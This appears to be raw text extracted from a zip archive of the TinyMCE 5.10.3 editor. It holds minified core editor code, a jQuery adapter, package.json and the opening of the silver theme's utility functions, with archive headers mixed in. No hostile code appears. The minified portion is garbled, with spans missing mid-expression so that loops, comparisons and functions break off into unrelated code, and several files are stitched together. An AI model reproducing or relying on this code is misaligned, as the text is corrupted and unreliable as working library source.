n,r,o=Nt.fromDom(e.getBody());X1(o,"mce-content-readonly",t),t?(e.selection.controlSelection.hideResizeRect(),e._selectionOverrides.hideFakeCaret(),ve.from(e.selection.getNode()).each(function(e){e.removeAttribute("data-mce-selected")}),G1(o,!(e.readonly=!0)),Y(hu(o,'*[contenteditable="true"]'),function(e){pn(e,ex,"true"),G1(e,!1)})):(G1(o,!(e.readonly=!1)),Y(hu(o,"*["+ex+'="true"]'),function(e){yn(e,ex),G1(e,!0)}),Y1(e,"StyleWithCSS",!1),Y1(e,"enableInlineTableEditing",!1),Y1(e,"enableObjectResizing",!1),(vd(n=e)||(r=n,td(Bn(Nt.fromDom(r.getElement()))).filter(function(e){return!(void 0!==(t=e.dom.classList)&&(t.contains("tox-edit-area")||t.contains("tox-edit-area__iframe")||t.contains("mce-content-body")))&&dd(r,e.dom);var t}).isSome()))&&e.focus(),e.selection.setRng(e.selection.getRng()),e.nodeChanged())}function Q1(e){return e.readonly}function Z1(t){t.parser.addAttributeFilter("contenteditable",function(e){Q1(t)&&Y(e,function(e){e.attr(ex,e.attr("contenteditable")),e.attr("contenteditable","false")})}),t.serializer.addAttributeFilter(ex,function(e){Q1(t)&&Y(e,function(e){e.attr("contenteditable",e.attr(ex))})}),t.serializer.addTempAttr(ex)}var ex="data-mce-contenteditable",tx=Et.makeMap("focus blur focusin focusout click dblclick mousedown mouseup mousemove mouseover beforepaste paste cut copy selectionchange mouseout mouseenter mouseleave wheel keydown keypress keyup input beforeinput contextmenu dragstart dragend dragover draggesture dragdrop drop drag submit compositionstart compositionend compositionupdate touchstart touchmove touchend touchcancel"," "),nx=(rx.isNative=function(e){return!!tx[e.toLowerCase()]},rx.prototype.fire=function(e,t){var n=e.toLowerCase(),r=io(n,t||{},this.scope);this.settings.beforeFire&&this.settings.beforeFire(r);var o=this.bindings[n];if(o)for(var i=0,a=o.length;i"),cx);return o[o.length-1]=Et.extend(o[o.length-1],{func:n,scope:r||this.editor}),Et.extend(o[0],{desc:this.editor.translate(t),subpatterns:o.slice(1)})},Cx.prototype.hasModifier=function(e){return e.altKey||e.ctrlKey||e.metaKey},Cx.prototype.isFunctionKey=function(e){return"keydown"===e.type&&112<=e.keyCode&&e.keyCode<=123},Cx.prototype.matchShortcut=function(e,t){return!!t&&t.ctrl===e.ctrlKey&&t.meta===e.metaKey&&t.alt===e.altKey&&t.shift===e.shiftKey&&!!(e.keyCode===t.keyCode||e.charCode&&e.charCode===t.charCode)&&(e.preventDefault(),!0)},Cx.prototype.executeShortcutAction=function(e){return e.func?e.func.call(e.scope):null},Cx);function Cx(e){this.shortcuts={},this.pendingPatterns=[],this.editor=e;var n=this;e.on("keyup keypress keydown",function(t){!n.hasModifier(t)&&!n.isFunctionKey(t)||t.isDefaultPrevented()||(px(n.shortcuts,function(e){if(n.matchShortcut(t,e))return n.pendingPatterns=e.subpatterns.slice(0),"keydown"===t.type&&n.executeShortcutAction(e),!0}),n.matchShortcut(t,n.pendingPatterns[0])&&(1===n.pendingPatterns.length&&"keydown"===t.type&&n.executeShortcutAction(n.pendingPatterns[0]),n.pendingPatterns.shift()))})}var xx=Ja.DOM,wx=Et.extend,Sx=Et.each,Ex=Et.resolve,Nx=xt.ie,kx=(_x.prototype.render=function(){!function(t){var e=t.id;uu.setCode(As(t));var n,r,o,i,a=function(){U1.unbind(window,"ready",a),t.render()};ai.Event.domLoaded?t.getElement()&&xt.contentEditable&&(n=Nt.fromDom(t.getElement()),r=L(n.dom.attributes,function(e,t){return e[t.name]=t.value,e},{}),t.on("remove",function(){O(n.dom.attributes,function(e){return yn(n,e.name),0}),hn(n,r)}),t.ui.styleSheetLoader=Ar.forElement(n,{contentCssCors:(o=t).getParam("content_css_cors"),referrerPolicy:_s(o)}),t.getParam("inline")?t.inline=!0:(t.orgVisibility=t.getElement().style.visibility,t.getElement().style.visibility="hidden"),(i=t.getElement().form||U1.getParent(e,"form"))&&(t.formElement=i,t.getParam("hidden_input")&&!Hn(t.getElement())&&(U1.insertAfter(U1.create("input",{type:"hidden",name:e}),e),t.hasHiddenInput=!0),t.formEventDelegate=function(e){t.fire(e.type,e)},U1.bind(i,"submit reset",t.formEventDelegate),t.on("reset",function(){t.resetContent()}),!t.getParam("submit_patch")||i.submit.nodeType||i.submit.length||i._mceOldSubmit||(i._mceOldSubmit=i.submit,i.submit=function(){return t.editorManager.triggerSave(),t.setDirty(!1),i._mceOldSubmit(i)})),t.windowManager=Pv(t),t.notificationManager=uv(t),"xml"===t.getParam("encoding")&&t.on("GetContent",function(e){e.save&&(e.content=U1.encode(e.content))}),t.getParam("add_form_submit_trigger")&&t.on("submit",function(){t.initialized&&t.save()}),t.getParam("add_unload_trigger")&&(t._beforeUnload=function(){!t.initialized||t.destroyed||t.isHidden()||t.save({format:"raw",no_events:!0,set_dirty:!1})},t.editorManager.on("BeforeUnload",t._beforeUnload)),t.editorManager.add(t),N1(t,t.suffix)):U1.bind(window,"ready",a)}(this)},_x.prototype.focus=function(e){this.execCommand("mceFocus",!1,e)},_x.prototype.hasFocus=function(){return vd(this)},_x.prototype.execCallback=function(e){for(var t=[],n=1;n",visual:!0,font_size_legacy_values:"xx-small,small,medium,large,x-large,xx-large,300%",forced_root_block:"p",hidden_input:!0,inline_styles:!0,convert_fonts_to_spans:!0,indent:!0,indent_before:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist",indent_after:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist",entity_encoding:"named",url_converter:v.convertURL,url_converter_scope:v},y=_e(_e({},b),h?kv:{}),!1!==(C=nv(Sv||Ev,Sv,y,m,g)).deprecation_warnings&&Jh(g,C),C),this.settings.suffix&&(n.suffix=this.settings.suffix),this.suffix=n.suffix,this.settings.base_url&&n._setBaseUrl(this.settings.base_url),this.baseUri=n.baseURI,this.settings.referrer_policy&&(tu.ScriptLoader._setReferrerPolicy(this.settings.referrer_policy),Ja.DOM.styleSheetLoader._setReferrerPolicy(this.settings.referrer_policy)),su.languageLoad=this.settings.language_load,su.baseURL=n.baseURL,this.id=e,this.setDirty(!1),this.documentBaseURI=new Kd(this.settings.document_base_url,{base_uri:this.baseUri}),this.baseURI=this.baseUri,this.inline=!!this.settings.inline,this.shortcuts=new yx(this),this.editorCommands=new W1(this),this.settings.cache_suffix&&(xt.cacheSuffix=this.settings.cache_suffix.replace(/^[\?\&]+/,"")),this.ui={registry:{addAutocompleter:(u={},(r={addButton:w(o={},"button"),addGroupToolbarButton:w(o,"grouptoolbarbutton"),addToggleButton:w(o,"togglebutton"),addMenuButton:w(o,"menubutton"),addSplitButton:w(o,"splitbutton"),addMenuItem:w(i={},"menuitem"),addNestedMenuItem:w(i,"nestedmenuitem"),addToggleMenuItem:w(i,"togglemenuitem"),addAutocompleter:w(a={},"autocompleter"),addContextMenu:w(s={},"contextmenu"),addContextToolbar:w(c={},"contexttoolbar"),addContextForm:w(c,"contextform"),addSidebar:w(l={},"sidebar"),addIcon:function(e,t){return u[e.toLowerCase()]=t},getAll:function(){return{buttons:o,menuItems:i,icons:u,popups:a,contextMenus:s,contextToolbars:c,sidebars:l}}}).addAutocompleter),addButton:r.addButton,addContextForm:r.addContextForm,addContextMenu:r.addContextMenu,addContextToolbar:r.addContextToolbar,addIcon:r.addIcon,addMenuButton:r.addMenuButton,addMenuItem:r.addMenuItem,addNestedMenuItem:r.addNestedMenuItem,addSidebar:r.addSidebar,addSplitButton:r.addSplitButton,addToggleButton:r.addToggleButton,addGroupToolbarButton:r.addGroupToolbarButton,addToggleMenuItem:r.addToggleMenuItem,getAll:r.getAll},styleSheetLoader:void 0,show:te,hide:te,enable:te,disable:te,isDisabled:R};var S,E,N,k,_,A=(k=ru("design"),_=ru({design:{activate:te,deactivate:te,editorReadOnly:!1},readonly:{activate:te,deactivate:te,editorReadOnly:!0}}),(E=S=this).serializer?Z1(E):E.on("PreInit",function(){Z1(E)}),(N=S).on("ShowCaret",function(e){Q1(N)&&e.preventDefault()}),N.on("ObjectSelected",function(e){Q1(N)&&e.preventDefault()}),{isReadOnly:function(){return Q1(S)},set:function(e){return function(e,t,n,r){if(r!==n.get()){if(!Ne(t,r))throw new Error("Editor mode '"+r+"' is invalid");e.initialized?sx(e,n,t,r):e.on("init",function(){return sx(e,n,t,r)})}}(S,_.get(),k,e)},get:function(){return k.get()},register:function(e,t){_.set(function(e,t,n){var r;if(D(gx,t))throw new Error("Cannot override default mode "+t);return _e(_e({},e),((r={})[t]=_e(_e({},n),{deactivate:function(){try{n.deactivate()}catch(e){console.error("problem while deactivating editor mode "+t+":",e)}}}),r))}(_.get(),e,t))}});this.mode=A,this.setMode=A.set,n.fire("SetupEditor",{editor:this}),this.execCallback("setup",this),this.$=Wa.overrideDefaults(function(){return{context:x.inline?x.getBody():x.getDoc(),element:x.getBody()}})}function Ax(t){var n=t.type;Px(Hx.get(),function(e){switch(n){case"scroll":e.fire("ScrollWindow",t);break;case"resize":e.fire("ResizeWindow",t)}})}function Rx(e){e!==Mx&&(e?Wa(window).on("resize scroll",Ax):Wa(window).off("resize scroll",Ax),Mx=e)}function Dx(t){var e=Ux;delete Fx[t.id];for(var n=0;n=n.x&&o.x+o.w<=n.w+n.x&&o.y>=n.y&&o.y+o.h<=n.h+n.y)return r[i];return null},intersect:function(e,t){var n=Gx(e.x,t.x),r=Gx(e.y,t.y),o=Yx(e.x+e.w,t.x+t.w),i=Yx(e.y+e.h,t.y+t.h);return o-n<0||i-r<0?null:qx(n,r,o-n,i-r)},clamp:function(e,t,n){var r=e.x,o=e.y,i=e.x+e.w,a=e.y+e.h,u=t.x+t.w,s=t.y+t.h,c=Gx(0,t.x-r),l=Gx(0,t.y-o),f=Gx(0,i-u),d=Gx(0,a-s);return r+=c,o+=l,n&&(i+=c,a+=l,r-=f,o-=d),qx(r,o,(i-=f)-r,(a-=d)-o)},create:qx,fromClientRect:function(e){return qx(e.left,e.top,e.width,e.height)}},Zx=($x={},Wx={},{load:function(r,o){var i='Script at URL "'+o+'" failed to load',a='Script at URL "'+o+"\" did not call `tinymce.Resource.add('"+r+"', data)` within 1 second";if(void 0!==$x[r])return $x[r];var e=new kr(function(e,t){var n=function(e,t,n){function r(n){return function(){for(var e=[],t=0;t])*>/g,""):n.getContent({save:!0}):a.apply(m(t),r)}),i}}), // Makes it possible to use $('#id').append("content"); to append contents to the TinyMCE editor iframe m.each(["append","prepend"],function(e,t){var n=s[t]=m.fn[t],r="prepend"===t;m.fn[t]=function(i){var e=this;return l(e)?i!==p?("string"==typeof i&&e.filter(":tinymce").each(function(e,t){var n=u(t);n&&n.setContent(r?i+n.getContent():n.getContent()+i)}),n.apply(e.not(":tinymce"),arguments),e):void 0:n.apply(e,arguments)}}), // Makes sure that the editor instance gets properly destroyed when the parent element is removed m.each(["remove","replaceWith","replaceAll","empty"],function(e,t){var n=s[t]=m.fn[t];m.fn[t]=function(){return r.call(this,t),n.apply(this,arguments)}}),s.attr=m.fn.attr, // Makes sure that $('#tinymce_id').attr('value') gets the editors current HTML contents m.fn.attr=function(e,t){var n=this,i=arguments;if(!e||"value"!==e||!l(n))return s.attr.apply(n,i);if(t!==p)return o.call(n.filter(":tinymce"),t),s.attr.apply(n.not(":tinymce"),i),n;// return original set for chaining var r=n[0],a=u(r);return a?a.getContent({save:!0}):s.attr.apply(m(r),i)}}}();PKZvtjs/plugins/tinymce/package.jsonnu[{ "name": "tinymce", "version": "5.10.3", "repository": { "type": "git", "url": "https://github.com/tinymce/tinymce.git", "directory": "modules/tinymce" }, "description": "Web based JavaScript HTML WYSIWYG editor control.", "author": "Tiny Technologies, Inc", "main": "tinymce.js", "types": "tinymce.d.ts", "license": "LGPL-2.1", "keywords": [ "wysiwyg", "tinymce", "richtext", "javascript", "html", "text", "rich editor", "rich text editor", "rte", "rich text", "contenteditable", "editing" ], "homepage": "https://www.tiny.cloud/", "bugs": { "url": "https://github.com/tinymce/tinymce/issues" } }PKZ[)js/plugins/tinymce/themes/silver/theme.jsnu[/** * Copyright (c) Tiny Technologies, Inc. All rights reserved. * Licensed under the LGPL or a commercial license. * For LGPL see License.txt in the project root for license information. * For commercial licenses see https://www.tiny.cloud/ * * Version: 5.10.3 (2022-02-09) */ (function () { 'use strict'; var typeOf = function (x) { var t = typeof x; if (x === null) { return 'null'; } else if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) { return 'array'; } else if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) { return 'string'; } else { return t; } }; var isType$1 = function (type) { return function (value) { return typeOf(value) === type; }; }; var isSimpleType = function (type) { return function (value) { return typeof value === type; }; }; var eq$1 = function (t) { return function (a) { return t === a; }; }; var isString = isType$1('string'); var isObject = isType$1('object'); var isArray = isType$1('array'); var isNull = eq$1(null); var isBoolean = isSimpleType('boolean'); var isUndefined = eq$1(undefined); var isNullable = function (a) { return a === null || a === undefined; }; var isNonNullable = function (a) { return !isNullable(a); }; var isFunction = isSimpleType('function'); var isNumber = isSimpleType('number'); var isArrayOf = function (value, pred) { if (isArray(value)) { for (var i = 0, len = value.length; i < len; ++i) { if (!pred(value[i])) { return false; } } return true; } return false; }; var noop = function () { }; var noarg = function (f) { return function () { return f(); }; }; var compose = function (fa, fb) { return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } return fa(fb.apply(null, args)); }; }; var compose1 = function (fbc, fab) { return function (a) { return fbc(fab(a)); }; }; var constant$1 = function (value) { return function () { return value; }; }; var identity$1 = function (x) { return x; }; var tripleEquals = function (a, b) { return a === b; }; function curry(fn) { var initialArgs = []; for (var _i = 1; _i < arguments.length; _i++) { initialArgs[_i - 1] = arguments[_i]; } return function () { var restArgs = []; for (var _i = 0; _i < arguments.length; _i++) { restArgs[_i] = arguments[_i]; } var all = initialArgs.concat(restArgs); return fn.apply(null, all); }; } var not = function (f) { return function (t) { return !f(t); }; }; var die = function (msg) { return function () { throw new Error(msg); }; }; var never = constant$1(false); var always = constant$1(true); var global$g = tinymce.util.Tools.resolve('tinymce.ThemeManager'); var __assign = function () { __assign = Object.assign || function __assign(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; }; return __assign.apply(this, arguments); }; function __rest(s, e) { var t = {}; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) t[p] = s[p]; if (s != null && typeof Object.getOwnPropertySymbols === 'function') for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) t[p[i]] = s[p[i]]; } return t; } function __spreadArray(to, from, pack) { if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { if (ar || !(i in from)) { if (!ar) ar = Array.prototype.slice.call(from, 0, i); ar[i] = from[i]; } } return to.concat(ar || Array.prototype.slice.call(from)); } var none = function () { return NONE; }; var NONE = function () { var call = function (thunk) { return thunk(); }; var id = identity$1; var me = { fold: function (n, _s) { return n(); }, isSome: never, isNone: always, getOr: id, getOrThunk: call, getOrDie: function (msg) { throw new Error(msg || 'error: getOrDie called on none.'); }, getOrNull: constant$1(null), getOrUndefined: constant$1(undefined), or: id, orThunk: call, map: none, each: noop, bind: none, exists: never, forall: always, filter: function () { return none(); }, toArray: function () { return []; }, toString: constant$1('none()') }; return me; }(); var some = function (a) { var constant_a = constant$1(a); var self = function () { return me; }; var bind = function (f) { return f(a); }; var me = { fold: function (n, s) { return s(a); }, isSome: always, isNone: never, getOr: constant_a, getOrThunk: constant_a, getOrDie: constant_a, getOrNull: constant_a, getOrUndefined: constant_a, or: self, orThunk: self, map: function (f) { return some(f(a)); }, each: function (f) { f(a); }, bind: bind, exists: bind, forall: bind, filter: function (f) { return f(a) ? me : NONE; }, toArray: function () { return [a]; }, toString: function () { return 'some(' + a + ')'; } }; return me; }; var from$1 = function (value) { return value === null || value === undefined ? NONE : some(value); }; var Optional = { some: some, none: none, from: from$1 }; var nativeSlice = Array.prototype.slice; var nativeIndexOf = Array.prototype.indexOf; var nativePush = Array.prototype.push; var rawIndexOf = function (ts, t) { return nativeIndexOf.call(ts, t); }; var indexOf = function (xs, x) { var r = rawIndexOf(xs, x); return r === -1 ? Optional.none() : Optional.some(r); }; var contains$2 = function (xs, x) { return rawIndexOf(xs, x) > -1; }; var exists = function (xs, pred) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { return true; } } return false; }; var range$2 = function (num, f) { var r = []; for (var i = 0; i < num; i++) { r.push(f(i)); } return r; }; var chunk$1 = function (array, size) { var r = []; for (var i = 0; i < array.length; i += size) { var s = nativeSlice.call(array, i, i + size); r.push(s); } return r; }; var map$2 = function (xs, f) { var len = xs.length; var r = new Array(len); for (var i = 0; i < len; i++) { var x = xs[i]; r[i] = f(x, i); } return r; }; var each$1 = function (xs, f) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; f(x, i); } }; var eachr = function (xs, f) { for (var i = xs.length - 1; i >= 0; i--) { var x = xs[i]; f(x, i); } }; var partition$3 = function (xs, pred) { var pass = []; var fail = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; var arr = pred(x, i) ? pass : fail; arr.push(x); } return { pass: pass, fail: fail }; }; var filter$2 = function (xs, pred) { var r = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { r.push(x); } } return r; }; var foldr = function (xs, f, acc) { eachr(xs, function (x, i) { acc = f(acc, x, i); }); return acc; }; var foldl = function (xs, f, acc) { each$1(xs, function (x, i) { acc = f(acc, x, i); }); return acc; }; var findUntil = function (xs, pred, until) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { return Optional.some(x); } else if (until(x, i)) { break; } } return Optional.none(); }; var find$5 = function (xs, pred) { return findUntil(xs, pred, never); }; var findIndex$1 = function (xs, pred) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { return Optional.some(i); } } return Optional.none(); }; var flatten = function (xs) { var r = []; for (var i = 0, len = xs.length; i < len; ++i) { if (!isArray(xs[i])) { throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs); } nativePush.apply(r, xs[i]); } return r; }; var bind$3 = function (xs, f) { return flatten(map$2(xs, f)); }; var forall = function (xs, pred) { for (var i = 0, len = xs.length; i < len; ++i) { var x = xs[i]; if (pred(x, i) !== true) { return false; } } return true; }; var reverse = function (xs) { var r = nativeSlice.call(xs, 0); r.reverse(); return r; }; var difference = function (a1, a2) { return filter$2(a1, function (x) { return !contains$2(a2, x); }); }; var mapToObject = function (xs, f) { var r = {}; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; r[String(x)] = f(x, i); } return r; }; var pure$2 = function (x) { return [x]; }; var sort = function (xs, comparator) { var copy = nativeSlice.call(xs, 0); copy.sort(comparator); return copy; }; var get$f = function (xs, i) { return i >= 0 && i < xs.length ? Optional.some(xs[i]) : Optional.none(); }; var head = function (xs) { return get$f(xs, 0); }; var last$2 = function (xs) { return get$f(xs, xs.length - 1); }; var from = isFunction(Array.from) ? Array.from : function (x) { return nativeSlice.call(x); }; var findMap = function (arr, f) { for (var i = 0; i < arr.length; i++) { var r = f(arr[i], i); if (r.isSome()) { return r; } } return Optional.none(); }; var keys = Object.keys; var hasOwnProperty = Object.hasOwnProperty; var each = function (obj, f) { var props = keys(obj); for (var k = 0, len = props.length; k < len; k++) { var i = props[k]; var x = obj[i]; f(x, i); } }; var map$1 = function (obj, f) { return tupleMap(obj, function (x, i) { return { k: i, v: f(x, i) }; }); }; var tupleMap = function (obj, f) { var r = {}; each(obj, function (x, i) { var tuple = f(x, i); r[tuple.k] = tuple.v; }); return r; }; var objAcc = function (r) { return function (x, i) { r[i] = x; }; }; var internalFilter = function (obj, pred, onTrue, onFalse) { var r = {}; each(obj, function (x, i) { (pred(x, i) ? onTrue : onFalse)(x, i); }); return r; }; var filter$1 = function (obj, pred) { var t = {}; internalFilter(obj, pred, objAcc(t), noop); return t; }; var mapToArray = function (obj, f) { var r = []; each(obj, function (value, name) { r.push(f(value, name)); }); return r; }; var find$4 = function (obj, pred) { var props = keys(obj); for (var k = 0, len = props.length; k < len; k++) { var i = props[k]; var x = obj[i]; if (pred(x, i, obj)) { return Optional.some(x); } } return Optional.none(); }; var values = function (obj) { return mapToArray(obj, identity$1); }; var get$e = function (obj, key) { return has$2(obj, key) ? Optional.from(obj[key]) : Optional.none(); }; var has$2 = function (obj, key) { return hasOwnProperty.call(obj, key); }; var hasNonNullableKey = function (obj, key) { return has$2(obj, key) && obj[key] !== undefined && obj[key] !== null; }; var is$1 = function (lhs, rhs, comparator) { if (comparator === void 0) { comparator = tripleEquals; } return lhs.exists(function (left) { return comparator(left, rhs); }); }; var equals = function (lhs, rhs, comparator) { if (comparator === void 0) { comparator = tripleEquals; } return lift2(lhs, rhs, comparator).getOr(lhs.isNone() && rhs.isNone()); }; var cat = function (arr) { var r = []; var push = function (x) { r.push(x); }; for (var i = 0; i < arr.length; i++) { arr[i].each(push); } return r; }; var sequence = function (arr) { var r = []; for (var i = 0; i < arr.length; i++) { var x = arr[i]; if (x.isSome()) { r.push(x.getOrDie()); } else { return Optional.none(); } } return Optional.some(r); }; var lift2 = function (oa, ob, f) { return oa.isSome() && ob.isSome() ? Optional.some(f(oa.getOrDie(), ob.getOrDie())) : Optional.none(); }; var lift3 = function (oa, ob, oc, f) { return oa.isSome() && ob.isSome() && oc.isSome() ? Optional.some(f(oa.getOrDie(), ob.getOrDie(), oc.getOrDie())) : Optional.none(); }; var mapFrom = function (a, f) { return a !== undefined && a !== null ? Optional.some(f(a)) : Optional.none(); }; var someIf = function (b, a) { return b ? Optional.some(a) : Optional.none(); }; var addToEnd = function (str, suffix) { return str + suffix; }; var removeFromStart = function (str, numChars) { return str.substring(numChars); }; var checkRange = function (str, substr, start) { return substr === '' || str.length >= substr.length && str.substr(start, start + substr.length) === substr; }; var removeLeading = function (str, prefix) { return startsWith(str, prefix) ? removeFromStart(str, prefix.length) : str; }; var ensureTrailing = function (str, suffix) { return endsWith(str, suffix) ? str : addToEnd(str, suffix); }; var contains$1 = function (str, substr) { return str.indexOf(substr) !== -1; }; var startsWith = function (str, prefix) { return checkRange(str, prefix, 0); }; var endsWith = function (str, suffix) { return checkRange(str, suffix, str.length - suffix.length); }; var blank = function (r) { return function (s) { return s.replace(r, ''); }; }; var trim$1 = blank(/^\s+|\s+$/g); var isNotEmpty = function (s) { return s.length > 0; }; var isEmpty = function (s) { return !isNotEmpty(s); }; var isSupported$1 = function (dom) { return dom.style !== undefined && isFunction(dom.style.getPropertyValue); }; var fromHtml$2 = function (html, scope) { var doc = scope || document; var div = doc.createElement('div'); div.innerHTML = html; if (!div.hasChildNodes() || div.childNodes.length > 1) { console.error('HTML does not have a single root node', html); throw new Error('HTML must have a single root node'); } return fromDom(div.childNodes[0]); }; var fromTag = function (tag, scope) { var doc = scope || document; var node = doc.createElement(tag); return fromDom(node); }; var fromText = function (text, scope) { var doc = scope || document; var node = doc.createTextNode(text); return fromDom(node); }; var fromDom = function (node) { if (node === null || node === undefined) { throw new Error('Node cannot be null or undefined'); } return { dom: node }; }; var fromPoint = function (docElm, x, y) { return Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom); }; var SugarElement = { fromHtml: fromHtml$2, fromTag: fromTag, fromText: fromText, fromDom: fromDom, fromPoint: fromPoint }; typeof window !== 'undefined' ? window : Function('return this;')(); var DOCUMENT = 9; var DOCUMENT_FRAGMENT = 11; var ELEMENT = 1; var TEXT = 3; var name$2 = function (element) { var r = element.dom.nodeName; return r.toLowerCase(); }; var type = function (element) { return element.dom.nodeType; }; var isType = function (t) { return function (element) { return type(element) === t; }; }; var isElement$2 = isType(ELEMENT); var isText$1 = isType(TEXT); var isDocument = isType(DOCUMENT); var isDocumentFragment = isType(DOCUMENT_FRAGMENT); var cached = function (f) { var called = false; var r; return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } if (!called) { called = true; r = f.apply(null, args); } return r; }; }; var DeviceType = function (os, browser, userAgent, mediaMatch) { var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true; var isiPhone = os.isiOS() && !isiPad; var isMobile = os.isiOS() || os.isAndroid(); var isTouch = isMobile || mediaMatch('(pointer:coarse)'); var isTablet = isiPad || !isiPhone && isMobile && mediaMatch('(min-device-width:768px)'); var isPhone = isiPhone || isMobile && !isTablet; var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false; var isDesktop = !isPhone && !isTablet && !iOSwebview; return { isiPad: constant$1(isiPad), isiPhone: constant$1(isiPhone), isTablet: constant$1(isTablet), isPhone: constant$1(isPhone), isTouch: constant$1(isTouch), isAndroid: os.isAndroid, isiOS: os.isiOS, isWebView: constant$1(iOSwebview), isDesktop: constant$1(isDesktop) }; }; var firstMatch = function (regexes, s) { for (var i = 0; i < regexes.length; i++) { var x = regexes[i]; if (x.test(s)) { return x; } } return undefined; }; var find$3 = function (regexes, agent) { var r = firstMatch(regexes, agent); if (!r) { return { major: 0, minor: 0 }; } var group = function (i) { return Number(agent.replace(r, '$' + i)); }; return nu$d(group(1), group(2)); }; var detect$4 = function (versionRegexes, agent) { var cleanedAgent = String(agent).toLowerCase(); if (versionRegexes.length === 0) { return unknown$3(); } return find$3(versionRegexes, cleanedAgent); }; var unknown$3 = function () { return nu$d(0, 0); }; var nu$d = function (major, minor) { return { major: major, minor: minor }; }; var Version = { nu: nu$d, detect: detect$4, unknown: unknown$3 }; var detectBrowser$1 = function (browsers, userAgentData) { return findMap(userAgentData.brands, function (uaBrand) { var lcBrand = uaBrand.brand.toLowerCase(); return find$5(browsers, function (browser) { var _a; return lcBrand === ((_a = browser.brand) === null || _a === void 0 ? void 0 : _a.toLowerCase()); }).map(function (info) { return { current: info.name, version: Version.nu(parseInt(uaBrand.version, 10), 0) }; }); }); }; var detect$3 = function (candidates, userAgent) { var agent = String(userAgent).toLowerCase(); return find$5(candidates, function (candidate) { return candidate.search(agent); }); }; var detectBrowser = function (browsers, userAgent) { return detect$3(browsers, userAgent).map(function (browser) { var version = Version.detect(browser.versionRegexes, userAgent); return { current: browser.name, version: version }; }); }; var detectOs = function (oses, userAgent) { return detect$3(oses, userAgent).map(function (os) { var version = Version.detect(os.versionRegexes, userAgent); return { current: os.name, version: version }; }); }; var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/; var checkContains = function (target) { return function (uastring) { return contains$1(uastring, target); }; }; var browsers = [ { name: 'Edge', versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/], search: function (uastring) { return contains$1(uastring, 'edge/') && contains$1(uastring, 'chrome') && contains$1(uastring, 'safari') && contains$1(uastring, 'applewebkit'); } }, { name: 'Chrome', brand: 'Chromium', versionRegexes: [ /.*?chrome\/([0-9]+)\.([0-9]+).*/, normalVersionRegex ], search: function (uastring) { return contains$1(uastring, 'chrome') && !contains$1(uastring, 'chromeframe'); } }, { name: 'IE', versionRegexes: [ /.*?msie\ ?([0-9]+)\.([0-9]+).*/, /.*?rv:([0-9]+)\.([0-9]+).*/ ], search: function (uastring) { return contains$1(uastring, 'msie') || contains$1(uastring, 'trident'); } }, { name: 'Opera', versionRegexes: [ normalVersionRegex, /.*?opera\/([0-9]+)\.([0-9]+).*/ ], search: checkContains('opera') }, { name: 'Firefox', versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/], search: checkContains('firefox') }, { name: 'Safari', versionRegexes: [ normalVersionRegex, /.*?cpu os ([0-9]+)_([0-9]+).*/ ], search: function (uastring) { return (contains$1(uastring, 'safari') || contains$1(uastring, 'mobile/')) && contains$1(uastring, 'applewebkit'); } } ]; var oses = [ { name: 'Windows', search: checkContains('win'), versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/] }, { name: 'iOS', search: function (uastring) { return contains$1(uastring, 'iphone') || contains$1(uastring, 'ipad'); }, versionRegexes: [ /.*?version\/\ ?([0-9]+)\.([0-9]+).*/, /.*cpu os ([0-9]+)_([0-9]+).*/, /.*cpu iphone os ([0-9]+)_([0-9]+).*/ ] }, { name: 'Android', search: checkContains('android'), versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/] }, { name: 'OSX', search: checkContains('mac os x'), versionRegexes: [/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/] }, { name: 'Linux', search: checkContains('linux'), versionRegexes: [] }, { name: 'Solaris', search: checkContains('sunos'), versionRegexes: [] }, { name: 'FreeBSD', search: checkContains('freebsd'), versionRegexes: [] }, { name: 'ChromeOS', search: checkContains('cros'), versionRegexes: [/.*?chrome\/([0-9]+)\.([0-9]+).*/] } ]; var PlatformInfo = { browsers: constant$1(browsers), oses: constant$1(oses) }; var edge = 'Edge'; var chrome = 'Chrome'; var ie = 'IE'; var opera = 'Opera'; var firefox = 'Firefox'; var safari = 'Safari'; var unknown$2 = function () { return nu$c({ current: undefined, version: Version.unknown() }); }; var nu$c = function (info) { var current = info.current; var version = info.version; var isBrowser = function (name) { return function () { return current === name; }; }; return { current: current, version: version, isEdge: isBrowser(edge), isChrome: 